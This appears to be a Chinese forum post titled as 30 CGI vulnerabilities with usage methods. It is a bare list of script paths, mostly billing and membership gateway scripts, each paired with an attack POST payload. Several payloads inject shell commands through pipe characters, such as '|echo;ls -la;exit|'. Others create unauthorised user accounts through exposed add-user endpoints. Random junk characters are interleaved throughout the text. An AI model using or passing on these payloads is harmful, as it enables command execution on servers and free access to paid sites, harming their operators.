Cgi-bin 30个漏洞＋使用方法

admin

==============================
% j+ n3 G( ]+ \( C: u8 @2 M
/smspass.pl
' I( r8 M) M# b! Kusername=username&password=password
- c6 P% u4 i. y4 y4 O
0 d3 g3 s3 w- L4 g1 R- l( U1 j/index.cgi
wei=ren&gen=command
* }6 {8 c% k  v! e: ^* @7 @
/ E3 {  \0 A0 c' b" H& a, \+ G: y/passmaster.cgi
5 s/ e; L, ]. ]. W( cAction=Add&Username=Username&Password=Password

/accountcreate.cgi
, U2 x* N/ d2 C' }# m/ @* \3 jusername=username&password=password&ref1=|echo;ls|

5 h) J& i/ g6 n2 F6 M9 l% x7 u/form.cgi
; N8 L1 F1 l! t0 S5 I; dname=xxxx&email=email&subject=xxxx&response=|echo;ls|

. q2 H; Z) D3 A: c3 R. R6 x, G. C/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password

/ b. i0 e: G1 M3 `$ m: k/ccbill-local.asp
0 u- s3 \+ r, V' E. ?" Mpost_values=username:password
5 ^+ ]3 g5 r+ a5 V$ X: q6 W  a* u
6 U7 ?$ T" S$ e  k. [; d/count.cgi
/ l. B7 g) F) Qpinfile=|echo;ls -la;exit|

/recon.cgi
" u/ s+ S: R7 d/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
( F7 o! a. W: d
/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
3 A$ |) ^: x" y% C) L
/af.cgi
_browser_out=|echo;ls -la;exit;|
, P. x2 c3 |) a' ?
# J  q0 _: h" v" K  K4 [2 R/modify.cgi
username=username&password=password&expire=30

/openjournal.cgi
' f. F( x  k: y' a" a" K' u0 b( tedit=1&ct=2&go=|echo;ls -al;exit|

+ p6 T4 I5 C7 X/ e( ^$ [  W/gx9passwd.cgi
4 A% M* [5 a; z/ G+ O5 Bcmd=ADD&user=username&pass=password

# W% H! M0 H1 a8 N& V% F/probecontrol.cgi
& l5 h6 U6 o. W$ u& Tcommand=enable&username=username&password=password

; V; @. Z; \3 }! T/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit

/htadd.pl
configfile=|echo; ls -alt; exit
7 ~7 y& S! a8 i3 W( l
  X& L* z& i" Q3 ]- z/gx9passwd.cgi
cmd=ADD&user=username&pass=password
* S+ p* @1 H/ Z' k: x
& R( D/ `% k2 H' @& l/ibill*.pl
. b0 `4 D( e- H( L* Q& P2 C4 z1 qreqtype=add&authpwd=authpwd&username=username&password=password
& M0 p. `+ |+ t& T, v( \4 N) d1 V5 ~
/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)
/ _( x3 W% P3 m% ?
/globill_ut.cgi
0 C: F# _% P2 A! r- l( ?do=add&username=username&password=password&wpassword=password
! z7 |0 Z+ m) J) s" z
; U& R$ n  B/ A7 z! W/usercontrol.cgi
* ^" |5 \, q$ [' jcommand=enable&username=USER&password=PASS
; |0 O6 m) ^! Q8 \9 Y/ r, O  a$ }
/globoSALErum.cgi
! l7 g; N% ?$ L! s! ?, b2 aaction=ADD&seccode=seccode&login=username&password=password

/addusr.pl
user=USER&pass=PASS&confirm=PASS

  H0 |  [& l4 F1 _! `/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|

/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
3 L& i! w" V7 ?" [+ Uusername=username&password=password&password2=password&ref1=|echo;ls -al;exit

' }8 L: o) w, U7 K- y/af.cgi
/env.cgi
% w2 }/ |. k4 F/ KADD+;echo;pwd;exit
1 f% B7 _" T; t6 b% E" `" y
! {  s  }3 ^5 Y! e. _) u3 K/count.cgi
6 l/ i, S$ b- s2 h; ]; xpinfile=|echo;pwd;exit|

! O* ~$ n, J: R7 Z+ [& \, _5 c+ A, o2 \/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|

) N8 d1 t; q" f$ b+ c) L/add.cgi
username=username&password=password&expire=30
. B" G* C& Z9 z
2 Y' C4 W5 M* l5 V$ i$ E==============================